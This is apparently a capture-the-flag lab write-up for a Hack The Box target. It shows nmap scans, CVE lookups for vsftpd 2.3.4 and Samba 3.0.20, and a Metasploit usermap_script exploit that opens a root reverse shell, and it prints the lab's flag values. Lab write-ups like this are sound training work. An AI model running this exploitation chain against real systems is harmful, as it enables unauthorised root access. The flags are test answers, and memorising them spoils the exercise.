

Target IP Address
10.10.10.3

Adventure Mode

Technique:

1. First, I ran a basic Nmap scan to see which ports were open, and then performed a more advanced scan for detailed enumeration.

```
(kali@kali)-[~/Desktop/HTB_academy/Labs]
$ nmap 10.10.10.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 18:54 EDT
Nmap scan report for 10.10.10.3
Host is up (0.074s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
```


```
(kali@kali)-[~/Desktop/HTB_academy/Labs]
$ nmap -sV 10.10.10.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 18:54 EDT
Nmap scan report for 10.10.10.3
Host is up (0.074s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
(kali@kali)-[~/Desktop/HTB_academy/Labs]
$ sudo nmap -sV -sC -A -p445 10.10.10.3
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 19:02 EDT
Nmap scan report for 10.10.10.3
Host is up (0.073s latency).

PORT      STATE SERVICE      VERSION
445/tcp    open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
```

2. After collecting information about all the services and their versions, I used Google to check each of them for known vulnerabilities.


Google vsFTPD 2.3.4 exploit

 National Institute of Standards and Technology (.gov)
<https://nvd.nist.gov/vuln/detail/CVE-2011-2523>

CVE-2011-2523 Detail - NVD


vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.

Google OpenSSH 4.7p1 exploit

 INCIBE
<https://www.incibe.es/early-warning/vulnerabilities>

CVE-2008-5161

9 Apr 2025 — 3-J and 4.0-K through 4.3.10-K; and (2) **OpenSSH 4.7p1** and possibly other versions, when using a block cipher algorithm in Cipher Block Chaining ...

EXPLOIT
DATABASE

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)

EDB-ID: 16320	CVE: 2007-2447	Author: METASPLOIT	Type: REMOTE	Platform: UNIX	Date: 2010-08-18
EDB Verified: ✓		Exploit: 📄 / {}		Vulnerable App:	

3. Once vulnerabilities were identified, I tested all of them using Metasploit and successfully obtained a reverse shell through a vulnerability in smb3.0.20.

```
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Command shell session 1 opened (10.10.14.27:4444 → 10.10.10.3:56953) at 2025-10-06 18:46:27 -0400

whoami
root
```

4. This vulnerability immediately granted me root privileges, so finding and capturing both flags took only a few minutes after gaining the shell.

```
-rw-r--r-- 1 makis makis 33 Oct 6 18:43 user.txt
cat user.txt
aa67a94d9f7362d868d68f34
```

```
-rw----- 1 root root 33 Oct 6 18:43 root.txt
-rw-r--r-- 1 root root 118 Oct 6 18:42 vnc.log
cat root.txt
b6b2d7fabd8c465817dd5811
```